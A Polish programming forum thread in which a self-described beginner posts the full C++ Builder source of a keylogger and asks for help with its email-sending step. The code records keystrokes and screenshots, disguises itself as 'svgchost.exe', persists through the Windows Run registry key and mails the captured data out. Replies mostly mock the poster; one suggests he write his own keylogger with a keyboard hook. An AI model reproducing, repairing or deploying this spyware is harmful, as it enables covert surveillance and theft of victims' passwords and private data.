Problem z wysyłaniem na emaila.

0

Witam wszystkich. Na wejsciu mowie ze NIE jestem dzieciakiem który pisze nowy temat w stylu "dajcie mi keyloggera bym mogl krasc konta w **** plox". Jestem poczatkujacym programista wiec proszę o wyrozumiałość, wiec przejde do rzeczy.. od jakiegos czasu probouje zrobic/skompilować keyloggera w Borland C++ Builder którego znalazlem w necie.. prawie wszystko działa.. własnie prawie.. kompilacja odbywa sie poprawie, Prawie Keylogger zapisuje sie w .exe lecz gdy w programi biore RUN wyskakuje mi bład zwiazany z wysyłaniem o to screen :

[b]Tak sie pojawia na hoscie Interia.pl : [/b]
[center][img]http://b.imagehost.org/0566/222_6.jpg[/img][/center]

[b]Tak sie pojawia na hoscie wp.pl :
[/b]
[center][img]http://b.imagehost.org/0448/333.jpg[/img][/center]

[b]Tak sie pojawia na hoscie gmail.com :[/b]

[center][img]http://d.imagehost.org/0635/444.jpg[/img][/center]

dla ułatwienia podam wam kod zródlowy:

//---------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <vcl.h>
#pragma hdrstop
#include <jpeg.hpp>
#include "fstream.h"
#include <shellapi.h>
#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0
#include <registry.hpp>
#include <mmsystem.h>

#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource ".dfm"
TForm1
Form1;

String dir;
String czas;
String data;
int b=0;
int s=0;

//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{

hKernelLib = LoadLibrary("kernel32.dll");
if(hKernelLib)
{
 RegisterServiceProcess =
      (pRegFunction)GetProcAddress(hKernelLib,
                                "RegisterServiceProcess");

    if(RegisterServiceProcess)
        RegisterServiceProcess(GetCurrentProcessId(),
                               RSP_SIMPLE_SERVICE);
}

}
__fastcall TForm1::~TForm1()
{
if(hKernelLib)
{
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),
RSP_UNREGISTER_SERVICE);

    FreeLibrary(hKernelLib);
}

}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
short character;
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{

          FILE *file;
          file=fopen("svgchost.inf","a+");
          if(file==NULL)
          {
              return;
          }
          if(file!=NULL)
          {
              if((character>=39)&&(character<=64))
              {
                 fputc(character,file);
                 fclose(file);
                 break;
              }
              else if((character>64)&&(character<91))
              {
                 character+=32;
                 fputc(character,file);
                 fclose(file);
                 break;
              }
              else
              {
                switch(character)
                {
                   case VK_SPACE:
                   fputc(' ',file);
                   fclose(file);
                   break;
                   case VK_SHIFT:
                   fputs("[SHIFT]",file);
                   fclose(file);
                   break;
                   case VK_RETURN:
                   fputs("\n[ENTER]",file);
                   fclose(file);
                   break;
                   case VK_BACK:
                   fputs("[BACKSPACE]",file);
                   fclose(file);
                   break;
                   case VK_TAB:
                   fputs("[TAB]",file);
                   fclose(file);
                   break;
                   case VK_CONTROL:
                   fputs("[CTRL]",file);
                   fclose(file);
                    break;
                    case VK_DELETE:
                    fputs("[DEL]",file);
                    fclose(file);
                    break;
                    case VK_OEM_1:
                    fputs("[;:]",file);
                    fclose(file);
                    break;
                    case VK_OEM_2:
                    fputs("[/?]",file);
                    fclose(file);
                    break;
                    case VK_OEM_3:
                    fputs("[`~]",file);
                    fclose(file);
                    break;
                    case VK_OEM_4:
                    fputs("[ [{ ]",file);
                    fclose(file);
                    break;
                    case VK_OEM_5:
                    fputs("[\\|]",file);
                    fclose(file);
                    break;
                    case VK_OEM_6:
                    fputs("[ ]} ]",file);
                    fclose(file);
                    break;
                    case VK_OEM_7:
                    fputs("['\"]",file);
                    fclose(file);
                    break;
                    /*case VK_OEM_PLUS:
                    fputc('+',file);
                    fclose(file);
                    break;
                    case VK_OEM_COMMA:
                    fputc(',',file);
                    fclose(file);
                    break;
                    case VK_OEM_MINUS:
                    fputc('-',file);
                    fclose(file);
                    break;
                    case VK_OEM_PERIOD:
                    fputc('.',file);
                    fclose(file);
                    break;*/
                    case VK_NUMPAD0:
                    fputc('0',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD1:
                    fputc('1',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD2:
                    fputc('2',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD3:
                    fputc('3',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD4:
                    fputc('4',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD5:
                    fputc('5',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD6:
                    fputc('6',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD7:
                    fputc('7',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD8:
                    fputc('8',file);
                    fclose(file);
                    break;
                    case VK_NUMPAD9:
                    fputc('9',file);
                    fclose(file);
                    break;
                    case VK_CAPITAL:
                    fputs("[CAPS LOCK]",file);
                    fclose(file);
                    break;
                    default:
                    fclose(file);
                    break;
                }
              }
           }
      }
    }

}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer2Timer(TObject *Sender)
{

b++;
if(b>5) return;

data =DateToStr(Date());
czas =TimeToStr(Time());
TCanvas &PulpitCanvas = new TCanvas();
Graphics::TBitmap
bitmap = new Graphics::TBitmap;

PulpitCanvas.Handle = GetDC(0);
bitmap->Width = Screen->Width;
bitmap->Height = Screen->Height;

bitmap->Canvas->CopyRect(Rect(0, 0, bitmap->Width, bitmap->Height), &PulpitCanvas,
Rect(0, 0, bitmap->Width, bitmap->Height));

try
{

dir = "";
dir = dir + b;
dir = dir + ".bmp";
bitmap->SaveToFile(dir);

   ReleaseDC(0, PulpitCanvas.Handle);
}
catch(...)
{
}

delete &PulpitCanvas;
delete bitmap;

//konwersja

dir = "";
dir = dir + b;
dir = dir + ".bmp";

Graphics::TBitmap BMP = new Graphics::TBitmap();
TJPEGImage
JPG = new TJPEGImage();

BMP->LoadFromFile(dir);
JPG->Assign(BMP);
dir = "";
dir = dir + b;
dir = dir + ".jpg";

JPG->SaveToFile(dir);

JPG->Free();
BMP->Free();

 dir = "";

dir = dir + b;
dir = dir + ".bmp";

 DeleteFile(dir);

}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer3Timer(TObject *Sender)
{
//330000
Timer3->Enabled = false;
b = 0;
s++;

SMTP->PostMessage->Subject = "Skan " + IntToStr(s);
/ SMTP->PostMessage->Attachments->Add("1.jpg");
SMTP->PostMessage->Attachments->Add("2.jpg");
SMTP->PostMessage->Attachments->Add("3.jpg");
SMTP->PostMessage->Attachments->Add("4.jpg");
SMTP->PostMessage->Attachments->Add("5.jpg");
/ SMTP->PostMessage->Attachments->Add("svgchost.inf");
SMTP->Connect();

try
{
SMTP->SendMail();
//[email protected]
//nuker44
}
catch(...)
{
}
SMTP->Disconnect();

//usuwanie pliku
DeleteFile("svgchost.inf");
ShowMessage('Ty');

}
//---------------------------------------------------------------------------

void __fastcall TForm1::SMTPSendStart(TObject Sender)
{
TExStringList
header = new TExStringList;

header->Clear();
header->Add("MIME-Version: 1.0\r\n");

header->Add("Content-type: text/html; charset=iso-8859-1\r\n");
header->Add("From: Agent [email protected]\r\n");

SMTP->FinalHeader = header;
delete header;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
if(!FileExists("c:\windows\svgchost.exe"))
{
String sciezka = Application->ExeName;
if (CopyFile(sciezka.c_str(), "c:\windows\svgchost.exe", true) == false) ShowMessage("Blad");

TRegistry& Rejestr = *new TRegistry();
Rejestr.RootKey = HKEY_LOCAL_MACHINE;
Rejestr.OpenKey("Software\Microsoft\Windows\CurrentVersion\Run", false);
Rejestr.WriteString("svgchost", "c:\windows\svgchost.exe");
delete &Rejestr;
}
}
//---------------------------------------------------------------------------

Kazdemu kto sie wypowie w Temacie serdecznie Dziekuje ! Licze na pomoc ! Pozdrawiam

0

Faktycznie nie jesteś dzieciakiem, który prosi o keyloggera, jesteś dzieciakiem, który ściągnął keyloggera i nawet nie wie jak go obsłużyć jest to idealny przykład scriptkiddie. Jeśli się mylę, a ty w rzeczywiście jesteś początkującym to ten kod również nie jest dla ciebie jak i całe środowisko builder.

0

forum jest od pomagania a nie zalenia sie nad kogos poczatkami z c++ , przypomnij sobie kiedys tez taki byłes ; )

0

Może i tak ale na pewno nie zaczynałem od keyloggerów. Więcej, nie pytałem się o nie na forum. Więcej, jeśli byłbym początkujący i miałbym zadać takie pytanie to w ostateczności uczyniłbym to w dziale "Newbe". Keyloggera potrafiłeś znaleźć w sieci to dziwi mnie fakt, że nie potrafisz poradzić sobie z taką pierdołą. Może następnym razem wpadniesz tutaj z kodem jakiegoś trojanka i też będziesz chciał pomocy przy nim? Zabierz się za normalne programy bo próbujesz skoczyć powyżej wałka, a niestety tak "se ne da". Wszystko w swoim czasie.

0

skoro Twoim zdaniem jest to pierdoła to powiedz wkoncu co musze zrobic.. a do do innych programów.. to uczyłem sie robic najprostszy kalkulator..

0

to teraz zrób bardziej zaawansowany kalkulator, z obsługą nawiasów np. a nie zabierasz się za rzeczy które nie rozumiesz jak działają

0

rozumiem , gdybym nie rozumiał to bym wgl sie za to nie zabierał. proste. wiec jak pomozesz?

0

Jakbyś rozumiał działanie, to bez problemu byś to poprawil samemu ;]

A jak na razie pl.spoj.pl

0

no ale trudno Ci pomoc ? jestem poczatkujacy i moze dla Ciebie to banalne a dla mnie niestety utrudnienie. człowiek uczy sie na własnych błedach i trzeba pomagac ludziom którzy tej pomocy potrzebuja gdy nie mogą sobie poradzic. jak ktos mi nie pomoze to sam sobie nie poradze mam racje?

0

Ja proponowałbym Ci napisać coś własnego. Niech nawet będzie ten keylogger, juz mniejsza o to. Napisz programik w czystym C++ i w WinAPI (bez głupich komponentów na formatce, itp.).

Na początek sczytuj wciśnięte klawisze do pliku (hook na klawiaturę). Jak to się uda znajdziesz jakąś dobrą bibliotekę do przesyłania maili i sobie poradzisz. W miarę upływu czasu rozszerzaj program o nowe możliwości.

Nie pomogę Ci, bo nie mam styczności z BCB.

1 użytkowników online, w tym zalogowanych: 0, gości: 1, botów: 0